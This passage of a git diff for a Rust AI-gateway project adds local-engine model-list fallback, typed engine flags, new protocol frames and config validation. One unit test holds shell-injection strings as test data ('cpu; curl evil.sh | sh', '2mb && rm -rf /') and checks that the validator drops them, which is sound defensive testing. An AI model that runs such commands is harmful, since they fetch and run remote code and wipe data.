actually accepts, + // so a hostile config value cannot inject shell syntax. + if let Some(device) = &cfg.device { + if matches!(device.as_str(), "auto" | "cpu" | "metal" | "cuda") { + flags.push("--device".into()); + flags.push(device.clone()); + } + } + if let Some(hp) = &cfg.huge_pages { + if matches!(hp.as_str(), "transparent" | "2mb" | "1gb" | "huge") { + flags.push("--huge-pages".into()); + flags.push(hp.clone()); + } + } + if cfg.mmap { + flags.push("--mmap".into()); + } + if cfg.lazy_weights { + flags.push("--lazy-weights".into()); + } + if let Some(m) = cfg.max_output_tokens { + flags.push("--max-output-tokens".into()); + flags.push(m.to_string()); + } + if let Some(c) = cfg.max_concurrency { + flags.push("--max-concurrency".into()); + flags.push(c.to_string()); + } + flags +} + +/// Result of a provider model-list fetch with the local-engine fallback: +/// the pickable ids, which of them are currently loaded/running (for +/// "running" markers in pickers), and the fetch error (cleared when local +/// models were found). +#[derive(Debug, Clone, Default, PartialEq, Eq)] +pub struct ProviderModels { + /// Model ids the picker may offer for this provider (live API list + /// merged with the engine's on-disk/local list). + pub models: Vec, + /// Models the local engine reports as loaded/running (a subset of + /// `models` for engine providers; empty for cloud providers). + pub loaded: Vec, + /// Why the live provider fetch failed, when nothing local replaced it. + pub error: Option, +} + +/// Fetch the model list for a provider, with the local-engine fallback. +/// +/// The live provider API list is fetched first (as +/// [`crate::providers::fetch_models`]); for providers that are also local +/// engines (Ollama, llama.cpp, LM Studio, exo, Joshua) the engine's own +/// model list is merged in — for the file-based engines (Joshua, llama.cpp) +/// that is a scan of the models directory, so it works even when the engine +/// server is not running. The returned error is cleared whenever local +/// models could be listed: the whole point of the fallback is that pickers +/// show what is available locally. +/// +/// Used by the gateway (for remote clients) and by the TUI (which fetches +/// beside the vault). +pub async fn provider_models_with_local_fallback( + provider: &str, + api_key: Option<&str>, + base_url_override: Option<&str>, + engine_configs: &std::collections::HashMap, +) -> ProviderModels { + let (mut models, mut error) = + match crate::providers::fetch_models(provider, api_key, base_url_override).await { + Ok(models) => (models, None), + Err(e) => (Vec::new(), Some(format!("{:#}", e))), + }; + + let registry = EngineRegistry::new(); + let mut loaded = Vec::new(); + if let Some(engine) = registry.get(provider) { + let cfg = engine_configs.get(provider).cloned().unwrap_or_default(); + match engine.list_models(&cfg).await { + Ok(local) => { + for m in local { + if !models.iter().any(|existing| existing == &m.name) { + models.push(m.name.clone()); + } + if m.loaded && !loaded.iter().any(|l| l == &m.name) { + loaded.push(m.name); + } + } + if !models.is_empty() { + models.sort(); + error = None; + } + } + Err(e) => { + tracing::debug!( + provider = %provider, + error = %e, + "Engine-local model list unavailable" + ); + } + } + } + + ProviderModels { + models, + loaded, + error, + } +} + +/// Metadata-carrying variant of [`provider_models_with_local_fallback`]: +/// same local-engine fallback, but returns the rich [`crate::providers::ModelInfo`] +/// entries (pricing, context length, display name) that +/// [`crate::providers::fetch_models_detailed`] produces. Locally-scanned +/// models carry only their id (the engines layer knows the names, not the +/// pricing). +pub async fn provider_models_detailed_with_local_fallback( + provider: &str, + api_key: Option<&str>, + base_url_override: Option<&str>, + engine_configs: &std::collections::HashMap, +) -> Result> { + use crate::providers::ModelInfo; + + let live = crate::providers::fetch_models_detailed(provider, api_key, base_url_override).await; + + let local: Option> = match EngineRegistry::new().get(provider) { + Some(engine) => { + let cfg = engine_configs.get(provider).cloned().unwrap_or_default(); + match engine.list_models(&cfg).await { + Ok(models) => Some(models), + Err(e) => { + tracing::debug!( + provider = %provider, + error = %e, + "Engine-local model list unavailable" + ); + None + } + } + } + None => None, + }; + + let local_ids: Vec = local + .as_ref() + .map(|models| models.iter().map(|m| m.name.clone()).collect()) + .unwrap_or_default(); + + match live { + Ok(mut models) => { + for name in local_ids { + if !models.iter().any(|m| m.id == name) { + models.push(ModelInfo { + id: name, + name: None, + context_length: None, + pricing_prompt: None, + pricing_completion: None, + }); + } + } + models.sort_by(|a, b| a.id.cmp(&b.id)); + Ok(models) + } + Err(_e) if !local_ids.is_empty() => Ok(local_ids + .into_iter() + .map(|id| ModelInfo { + id, + name: None, + context_length: None, + pricing_prompt: None, + pricing_completion: None, + }) + .collect()), + Err(e) => Err(anyhow::anyhow!("{:#}", e)), + } +} + /// Build `ServiceDef` entries for engines with `auto_start = true`. /// /// The caller inserts these into the `ServicesConfig` so the existing service @@ -563,7 +953,7 @@ pub fn engine_service_defs( /// Determine the command+args to start an engine process. fn engine_start_command(id: &str, cfg: &EngineConfig) -> (String, Vec) { - let mut args: Vec = cfg.extra_args.clone(); + let args: Vec = cfg.extra_args.clone(); match id { "ollama" => { let cmd = "ollama".to_string(); @@ -578,13 +968,22 @@ fn engine_start_command(id: &str, cfg: &EngineConfig) -> (String, Vec) { } "llamacpp" => { let cmd = "llama-server".to_string(); - if let Some(port) = cfg.port { - args.extend(["--port".to_string(), port.to_string()]); - } + // Built-in flags first, then extra_args last: llama-server takes + // the last occurrence of a repeated flag, so a hand-written + // `--port`/`--ctx-size` in extra_args must override the defaults. + // The resolved port is always emitted so the port-scoped stop can + // identify auto-started servers. + let mut a = Vec::new(); + let port = cfg.port.unwrap_or(8080); + a.extend(["--port".to_string(), port.to_string()]); if let Some(ref models_dir) = cfg.models_dir { - args.extend(["--model-store".to_string(), models_dir.clone()]); + a.extend(["--model-store".to_string(), models_dir.clone()]); } - (cmd, args) + if let Some(ctx) = cfg.context_length { + a.extend(["--ctx-size".to_string(), ctx.to_string()]); + } + a.extend(args); + (cmd, a) } "joshua" => { let cmd = "joshua".to_string(); @@ -604,6 +1003,7 @@ fn engine_start_command(id: &str, cfg: &EngineConfig) -> (String, Vec) { } } } + a.extend(joshua_serve_flags(cfg)); a.extend(args); (cmd, a) } @@ -647,6 +1047,198 @@ mod sh_quote_tests { } } +#[cfg(test)] +mod fallback_tests { + use super::*; + + /// llama.cpp auto-start: built-in flags come first, so a hand-written + /// `--port`/`--ctx-size` in extra_args still wins (llama-server takes + /// the last occurrence of a repeated flag). + #[test] + fn llamacpp_start_command_lets_extra_args_override_builtins() { + let cfg = EngineConfig { + context_length: Some(4096), + extra_args: vec![ + "--port".into(), + "9999".into(), + "--ctx-size".into(), + "8192".into(), + ], + ..Default::default() + }; + let (cmd, args) = engine_start_command("llamacpp", &cfg); + assert_eq!(cmd, "llama-server"); + // Built-ins first … + assert_eq!( + &args[0..4], + &[ + "--port".to_string(), + "8080".to_string(), + "--ctx-size".to_string(), + "4096".to_string() + ] + ); + // … then extra_args last, so they win. + assert_eq!( + &args[4..], + &[ + "--port".to_string(), + "9999".to_string(), + "--ctx-size".to_string(), + "8192".to_string() + ] + ); + } + + #[test] + fn validate_engine_config_rejects_an_unusable_port() { + // Port 0 would feed the stop-path pkill/pgrep patterns with a value + // that can never be a real server port; it must be rejected before + // the config is persisted. + let bad = EngineConfig { + port: Some(0), + ..Default::default() + }; + assert!(validate_engine_config(&bad).is_err()); + // Unset and ordinary ports pass. + assert!(validate_engine_config(&EngineConfig::default()).is_ok()); + let good = EngineConfig { + port: Some(8331), + ..Default::default() + }; + assert!(validate_engine_config(&good).is_ok()); + } + + /// A local engine whose server is not running must still surface its + /// on-disk models through the provider-model fallback, with the fetch + /// error cleared (that is what lets pickers show local models). + #[tokio::test] + async fn local_engine_models_surface_when_live_fetch_fails() { + let dir = std::env::temp_dir().join(format!("rc-joshua-fallback-{}", std::process::id())); + std::fs::remove_dir_all(&dir).ignore(); + std::fs::create_dir_all(&dir).unwrap(); + std::fs::write(dir.join("tiny-Q4_0.gguf"), b"x").unwrap(); + + let mut configs = std::collections::HashMap::new(); + configs.insert( + "joshua".to_string(), + EngineConfig { + models_dir: Some(dir.to_string_lossy().to_string()), + ..Default::default() + }, + ); + + // The live fetch fails fast (connection refused on localhost), so + // the scan is the only source — and the error must be cleared. + let fetched = provider_models_with_local_fallback("joshua", None, None, &configs).await; + assert!(fetched.error.is_none(), "local models must clear the error"); + assert!( + fetched.models.iter().any(|m| m == "tiny-Q4_0"), + "expected the scanned GGUF in {:?}", + fetched.models + ); + // Loaded models (from host process detection, if any joshua servers + // happen to be running on the test host) must always be a subset of + // the picker list. + assert!( + fetched.loaded.iter().all(|l| fetched.models.contains(l)), + "loaded {:?} must be a subset of models {:?}", + fetched.loaded, + fetched.models + ); + + std::fs::remove_dir_all(&dir).ignore(); + } + + #[test] + fn parses_running_server_cmdlines() { + let lines = vec![ + "123 /usr/bin/joshua serve --model /home/u/models/tiny-Q4_0.gguf --addr 127.0.0.1:8080".to_string(), + // The `sh -c "nohup …"` wrapper that spawned it also matches + // pgrep; the same model must not be reported twice. + "124 sh -c nohup joshua serve --model '/home/u/models/tiny-Q4_0.gguf' --addr 127.0.0.1:8080 &".to_string(), + "125 joshua serve -m /models/big-Q8_0.gguf -a 0.0.0.0:8331".to_string(), + "126 joshua serve --model=/models/eq-form.gguf --addr=127.0.0.1:9999".to_string(), + ]; + let joshua = parse_server_cmdlines(&lines, &["--model", "-m"], &["--addr", "-a"], 8080); + assert_eq!( + joshua, + vec![ + ("tiny-Q4_0".to_string(), Some(8080)), + ("big-Q8_0".to_string(), Some(8331)), + ("eq-form".to_string(), Some(9999)), + ] + ); + // A llama-server line parses under its own port flag. + let llamacpp_lines = + vec!["127 llama-server --model /models/llm.gguf --port 8082".to_string()]; + let llamacpp = + parse_server_cmdlines(&llamacpp_lines, &["--model", "-m"], &["--port"], 8080); + assert_eq!(llamacpp, vec![("llm".to_string(), Some(8082))]); + } + + #[test] + fn running_server_parse_defaults_port() { + let lines = vec!["9 joshua serve --model /models/no-addr.gguf".to_string()]; + let parsed = parse_server_cmdlines(&lines, &["--model", "-m"], &["--addr", "-a"], 8080); + assert_eq!(parsed, vec![("no-addr".to_string(), Some(8080))]); + } + + #[test] + fn joshua_serve_flags_cover_the_typed_parameters() { + let cfg = EngineConfig { + context_length: Some(8192), + device: Some("cuda".into()), + huge_pages: Some("2mb".into()), + mmap: true, + lazy_weights: true, + max_output_tokens: Some(1024), + max_concurrency: Some(2), + ..Default::default() + }; + assert_eq!( + joshua_serve_flags(&cfg), + vec![ + "--n-ctx".to_string(), + "8192".to_string(), + "--device".to_string(), + "cuda".to_string(), + "--huge-pages".to_string(), + "2mb".to_string(), + "--mmap".to_string(), + "--lazy-weights".to_string(), + "--max-output-tokens".to_string(), + "1024".to_string(), + "--max-concurrency".to_string(), + "2".to_string(), + ] + ); + // "off" huge pages and an unset device emit nothing. + let minimal = EngineConfig { + huge_pages: Some("off".into()), + ..Default::default() + }; + assert_eq!(joshua_serve_flags(&minimal), Vec::::new()); + } + + #[test] + fn joshua_serve_flags_drop_invalid_freeform_values() { + // device/huge_pages are free-form config strings that end up in a + // shell command; anything Joshua does not accept must be dropped, + // never interpolated. + let cfg = EngineConfig { + device: Some("cpu; curl evil.sh | sh".into()), + huge_pages: Some("2mb && rm -rf /".into()), + context_length: Some(4096), + ..Default::default() + }; + assert_eq!( + joshua_serve_flags(&cfg), + vec!["--n-ctx".to_string(), "4096".to_string()] + ); + } +} + #[cfg(test)] mod stream_shell_tests { use super::*; diff --git a/crates/rustyclaw-core/src/engines/ollama.rs b/crates/rustyclaw-core/src/engines/ollama.rs index 0b7c7041..9987da68 100644 --- a/crates/rustyclaw-core/src/engines/ollama.rs +++ b/crates/rustyclaw-core/src/engines/ollama.rs @@ -190,7 +190,7 @@ impl LocalEngine for OllamaEngine { } } - async fn stop(&self) -> Result { + async fn stop(&self, _cfg: &EngineConfig) -> Result { let os = std::env::consts::OS; match os { "macos" => Self::sh("brew services stop ollama 2>/dev/null; pkill -f 'ollama serve' 2>/dev/null; echo 'stopped'").await, @@ -208,6 +208,22 @@ impl LocalEngine for OllamaEngine { .cloned() .unwrap_or_default(); + // What is actually resident in memory: `/api/ps` knows; `/api/tags` + // only lists what is pulled. Mark those names loaded so the UI's + // "running" badge reflects reality. + let mut loaded: Vec = Vec::new(); + if let Ok(ps) = Self::api(&endpoint, "GET", "/api/ps", None).await { + if let Ok(v) = serde_json::from_str::(&ps) { + if let Some(arr) = v.get("models").and_then(|m| m.as_array()) { + for m in arr { + if let Some(name) = m.get("name").and_then(|n| n.as_str()) { + loaded.push(name.to_string()); + } + } + } + } + } + Ok(models .iter() .map(|m| { @@ -231,12 +247,13 @@ impl LocalEngine for OllamaEngine { .get("modified_at") .and_then(|d| d.as_str()) .map(|s| s.to_string()); + let is_loaded = loaded.iter().any(|l| l == &name); LocalModel { name, size_bytes, quantization, context_length: None, - loaded: false, + loaded: is_loaded, vram_bytes: None, family, format: Some("gguf".into()), @@ -312,7 +329,9 @@ impl LocalEngine for OllamaEngine { async fn load(&self, model: &str, cfg: &EngineConfig) -> Result { let endpoint = Self::endpoint(cfg); - // P6: Extract per-model knobs from extra_args. + // Per-model knobs: an explicit `--num-ctx=` in extra_args (the + // gateway's per-load override rides here) wins; otherwise the + // persisted typed context window applies. let mut options = serde_json::Map::new(); for arg in &cfg.extra_args { if let Some(val) = arg.strip_prefix("--num-ctx=") { @@ -321,6 +340,11 @@ impl LocalEngine for OllamaEngine { } } } + if !options.contains_key("num_ctx") { + if let Some(ctx) = cfg.context_length { + options.insert("num_ctx".to_string(), serde_json::Value::Number(ctx.into())); + } + } let mut body = serde_json::json!({ "model": model, diff --git a/crates/rustyclaw-core/src/gateway/client_types.rs b/crates/rustyclaw-core/src/gateway/client_types.rs index 3977c3e9..589064eb 100644 --- a/crates/rustyclaw-core/src/gateway/client_types.rs +++ b/crates/rustyclaw-core/src/gateway/client_types.rs @@ -355,6 +355,17 @@ pub enum GatewayEvent { models: Vec, error: Option, }, + /// Which of a provider's models are loaded/running (sent after + /// `ProviderModelListResult`; pickers use it to mark running models). + ProviderModelLoadedList { + provider: String, + loaded: Vec, + }, + /// Full per-engine configuration keyed by engine id (sent after + /// `EngineListResult`). + EngineConfigList { + configs: std::collections::HashMap, + }, /// Engine pull progress (streaming). EnginePullProgress { engine: String, @@ -774,6 +785,14 @@ pub enum GatewayCommand { extra_args: Vec, }, + /// Replace the full configuration for an engine (parameters, default + /// model, extra args). The gateway persists it to config.toml. + #[serde(rename = "engine_config_set")] + EngineConfigSet { + engine: String, + config: crate::engines::EngineConfig, + }, + // ── Panel commands ───────────────────────────────────────────────── /// List cron jobs. #[serde(rename = "cron_list")] @@ -1428,6 +1447,10 @@ impl GatewayCommand { extra_args, }, }, + GatewayCommand::EngineConfigSet { engine, config } => ClientFrame { + frame_type: ClientFrameType::EngineConfigSet, + payload: ClientPayload::EngineConfigSet { engine, config }, + }, // ── Panels ─────────────────────────────────────────────── GatewayCommand::CronList => ClientFrame { frame_type: ClientFrameType::CronListRequest, @@ -2073,6 +2096,12 @@ impl GatewayEvent { models, error, }), + ServerPayload::ProviderModelLoadedList { provider, loaded } => { + Some(GatewayEvent::ProviderModelLoadedList { provider, loaded }) + } + ServerPayload::EngineConfigList { configs } => { + Some(GatewayEvent::EngineConfigList { configs }) + } ServerPayload::EnginePullProgress { engine, model, diff --git a/crates/rustyclaw-core/src/gateway/protocol/frames.rs b/crates/rustyclaw-core/src/gateway/protocol/frames.rs index fa0bfbea..b9b3cd8e 100644 --- a/crates/rustyclaw-core/src/gateway/protocol/frames.rs +++ b/crates/rustyclaw-core/src/gateway/protocol/frames.rs @@ -408,6 +408,14 @@ pub enum ServerFrameType { /// encodes these enums by declaration order, so new types go last even /// though the `= N` values already diverge from the indices. ToolGroupsResult = 95, + /// Full per-engine configuration, sent right after `EngineListResult` + /// (new frame rather than a widened `EngineInfoDto`: the wire format is + /// positional bincode, so adding a field to an existing payload breaks + /// older peers — see `docs/PLUGIN_ARCHITECTURE.md`). + EngineConfigList = 96, + /// Which models a provider's list reports as loaded/running, sent right + /// after `ProviderModelListResult`. New frame for the same reason. + ProviderModelLoadedList = 97, } /// Status frame sub-types. @@ -444,7 +452,12 @@ pub enum StatusType { /// be misread — so a peer at version 1 cannot decode these. Mismatched peers /// fail at the first affected frame rather than mis-parsing one into another; /// the version is what lets an envelope-carrying transport say so plainly. -pub const WIRE_PROTOCOL_VERSION: u16 = 3; +/// Bumped to 4 when `EngineConfig` gained its typed parameter fields (the +/// already-shipped `EngineConfigSet` payload widened by seven positional +/// fields) and `EngineConfigList` / `ProviderModelLoadedList` were added: an +/// older peer must fail at the first affected frame instead of reading the +/// new fields as wrong values. +pub const WIRE_PROTOCOL_VERSION: u16 = 4; /// Stream ID used for connection-level control frames. pub const CONTROL_STREAM_ID: u64 = 0; @@ -1692,6 +1705,18 @@ pub enum ServerPayload { ToolGroupsResult { groups: Vec, }, + /// Full per-engine configuration (parameters, default model, extra + /// args), keyed by engine id. Sent after `EngineListResult`. + EngineConfigList { + configs: std::collections::HashMap, + }, + /// Models the local engine reports as loaded/running, sent after + /// `ProviderModelListResult` (a subset of that frame's `models`; empty + /// for cloud providers). + ProviderModelLoadedList { + provider: String, + loaded: Vec, + }, } mod codec; diff --git a/crates/rustyclaw-desktop/src/app_support.rs b/crates/rustyclaw-desktop/src/app_support.rs index f7afb80f..a6179573 100644 --- a/crates/rustyclaw-desktop/src/app_support.rs +++ b/crates/rustyclaw-desktop/src/app_support.rs @@ -904,6 +904,7 @@ pub(crate) fn handle_gateway_event( provider, models, error, + .. } => { if let Some(err) = error { // Keep the static fallback in the picker. The provider @@ -919,6 +920,10 @@ pub(crate) fn handle_gateway_event( state.write().provider_models.insert(provider, models); } } + // The loaded/running markers and full engine configs arrive in their + // own frames (new capabilities, new frames); the desktop surfaces + // them once the enriched-payload handling lands with the UI work. + GatewayEvent::ProviderModelLoadedList { .. } | GatewayEvent::EngineConfigList { .. } => {} GatewayEvent::EnginePullProgress { engine, model, diff --git a/crates/rustyclaw-gateway/src/dispatch.rs b/crates/rustyclaw-gateway/src/dispatch.rs index c591a17c..e676b941 100644 --- a/crates/rustyclaw-gateway/src/dispatch.rs +++ b/crates/rustyclaw-gateway/src/dispatch.rs @@ -865,7 +865,17 @@ pub(crate) async fn dispatch_text_message( }); } - let model_timeout = std::time::Duration::from_secs(180); + // How long a single model call may run before the turn gives up. + // The default suits hosted APIs; local engines on a loaded machine + // can need far longer to prefill a large prompt, so the cap honours + // `RUSTYCLAW_MODEL_TIMEOUT_SECS` (e.g. 900) for those setups. + let model_timeout = std::time::Duration::from_secs( + std::env::var("RUSTYCLAW_MODEL_TIMEOUT_SECS") + .ok() + .and_then(|v| v.trim().parse::().ok()) + .filter(|s| *s > 0) + .unwrap_or(180), + ); let result = await_model_with_cancel( providers::call_with_tools(http, &resolved, Some(writer)), tool_cancel, diff --git a/crates/rustyclaw-gateway/src/engine_handler.rs b/crates/rustyclaw-gateway/src/engine_handler.rs index b8867d41..3b65e826 100644 --- a/crates/rustyclaw-gateway/src/engine_handler.rs +++ b/crates/rustyclaw-gateway/src/engine_handler.rs @@ -77,7 +77,7 @@ pub async fn handle_engine_request( // ── Helpers ───────────────────────────────────────────────────────────────── /// Build and send an `EngineActionResult` frame. -async fn send_action_result( +pub(crate) async fn send_action_result( writer: &mut dyn TransportWriter, engine: String, model: Option, @@ -133,11 +133,26 @@ async fn handle_engine_list( capabilities: engine.capabilities().into(), }); } - let frame = ServerFrame { - frame_type: ServerFrameType::EngineListResult, - payload: ServerPayload::EngineListResult { engines }, - }; - send_frame(writer, &frame).await + send_frame( + writer, + &ServerFrame { + frame_type: ServerFrameType::EngineListResult, + payload: ServerPayload::EngineListResult { engines }, + }, + ) + .await?; + // The full per-engine configuration rides in its own frame (new + // capability, new frame — the wire format is positional bincode). + send_frame( + writer, + &ServerFrame { + frame_type: ServerFrameType::EngineConfigList, + payload: ServerPayload::EngineConfigList { + configs: configs.clone(), + }, + }, + ) + .await } /// Build and send an `EngineActionProgress` frame carrying one output line. @@ -210,7 +225,7 @@ async fn handle_engine_action( result } EngineActionKind::Start => eng.start(&cfg).await, - EngineActionKind::Stop => eng.stop().await, + EngineActionKind::Stop => eng.stop(&cfg).await, }; let (ok, message) = match result { @@ -371,6 +386,10 @@ async fn handle_engine_model_action( cfg.extra_args.push("--ctx-size".to_string()); cfg.extra_args.push(ctx.to_string()); } + "joshua" => { + cfg.extra_args.push("--n-ctx".to_string()); + cfg.extra_args.push(ctx.to_string()); + } _ => {} } } diff --git a/crates/rustyclaw-gateway/src/server.rs b/crates/rustyclaw-gateway/src/server.rs index 35e1d254..0a418d9d 100644 --- a/crates/rustyclaw-gateway/src/server.rs +++ b/crates/rustyclaw-gateway/src/server.rs @@ -2320,25 +2320,53 @@ pub(crate) async fn handle_connection( ).await?; } ClientPayload::EngineConfigSet { engine, config: new_cfg } => { - // Persist through the shared config — writing - // this connection's snapshot would erase - // settings other connections saved since it - // was taken (messenger accounts included). - config.engines.insert(engine.clone(), new_cfg.clone()); + // Reject structurally invalid configs + // before they reach config.toml or a + // shell command line (the port feeds the + // pkill/pgrep patterns on stop paths). + if let Err(msg) = + rustyclaw_core::engines::validate_engine_config(&new_cfg) { - let mut shared = shared_config.write().await; - shared.engines.insert(engine.clone(), new_cfg.clone()); - crate::helpers::persist_config(&shared); + crate::engine_handler::send_action_result( + &mut *writer, + engine, + None, + false, + msg, + ) + .await?; + } else { + // Persist through the shared config — + // writing this connection's snapshot + // would erase settings other + // connections saved since it was + // taken (messenger accounts included). + config.engines.insert(engine.clone(), new_cfg.clone()); + { + let mut shared = shared_config.write().await; + shared.engines.insert(engine.clone(), new_cfg.clone()); + crate::helpers::persist_config(&shared); + } + crate::engine_handler::handle_engine_request( + &mut *writer, + ClientPayload::EngineConfigSet { + engine, + config: new_cfg, + }, + &engine_registry, + &config.engines, + ) + .await?; } - crate::engine_handler::handle_engine_request( - &mut *writer, - ClientPayload::EngineConfigSet { engine, config: new_cfg }, - &engine_registry, - &config.engines, - ).await?; } ClientPayload::ProviderModelList { provider } => { - handle_provider_model_list(&mut *writer, &provider, &config, &vault).await?; + handle_provider_model_list( + &mut *writer, + &provider, + &config, + &vault, + ) + .await?; } ClientPayload::Empty | ClientPayload::AuthChallenge { .. } | ClientPayload::AuthResponse { .. } | ClientPayload::ToolApprovalResponse { .. } | ClientPayload::UserPromptResponse { .. } | ClientPayload::CredentialResponse { .. } | ClientPayload::DomQueryResponse { .. } | ClientPayload::ProcessControl { .. } => { // AuthChallenge/AuthResponse handled in auth phase. @@ -2740,6 +2768,14 @@ pub(crate) async fn handle_connection( /// cloud provider using the gateway's vault-held API key (falling back to /// the provider's env var), replying with a `ProviderModelListResult` /// frame that carries either the model ids or an error string. +/// +/// Local engine providers (Ollama, llama.cpp, LM Studio, exo, Joshua) get a +/// second source: the engine registry's own model list, which for the +/// file-based engines (Joshua, llama.cpp) is a scan of the models directory +/// and therefore works even when the engine server is not running. The +/// live API list is merged in when present (deduped), and the error is +/// cleared whenever local models could be listed — the whole point of the +/// fallback is that the picker shows what is available locally. async fn handle_provider_model_list( writer: &mut dyn rustyclaw_core::gateway::TransportWriter, provider: &str, @@ -2763,16 +2799,15 @@ async fn handle_provider_model_list( .filter(|m| m.provider == provider) .and_then(|m| m.base_url.clone()); - let (models, error) = match crate_providers::fetch_models( + // Live API list, merged with the engine's own model list for local + // engine providers (see `provider_models_with_local_fallback`). + let fetched = rustyclaw_core::engines::provider_models_with_local_fallback( provider, api_key.as_deref(), base_url.as_deref(), + &config.engines, ) - .await - { - Ok(models) => (models, None), - Err(e) => (Vec::new(), Some(format!("{:#}", e))), - }; + .await; send_frame( writer, @@ -2780,8 +2815,21 @@ async fn handle_provider_model_list( frame_type: ServerFrameType::ProviderModelListResult, payload: ServerPayload::ProviderModelListResult { provider: provider.to_string(), - models, - error, + models: fetched.models, + error: fetched.error, + }, + }, + ) + .await?; + // The loaded/running markers ride in their own frame (new capability, + // new frame — the wire format is positional bincode). + send_frame( + writer, + &ServerFrame { + frame_type: ServerFrameType::ProviderModelLoadedList, + payload: ServerPayload::ProviderModelLoadedList { + provider: provider.to_string(), + loaded: fetched.loaded, }, }, ) diff --git a/crates/rustyclaw-tui/src/gateway_client.rs b/crates/rustyclaw-tui/src/gateway_client.rs index 3f2cd875..b8e37488 100644 --- a/crates/rustyclaw-tui/src/gateway_client.rs +++ b/crates/rustyclaw-tui/src/gateway_client.rs @@ -441,6 +441,9 @@ pub(crate) fn gateway_event_to_gw_event( // (`CommandAction::FetchModels`), so gateway-fetched lists are not // surfaced here — they exist for remote clients like the desktop app. E::ProviderModelListResult { .. } => return None, + // The enriched payloads (loaded markers, full engine configs) ride + // in their own frames; the TUI consumes them where it renders them. + E::ProviderModelLoadedList { .. } | E::EngineConfigList { .. } => return None, E::EngineModelListResult { engine, models } => GwEvent::EngineModelListResult { engine: engine.clone(), models: models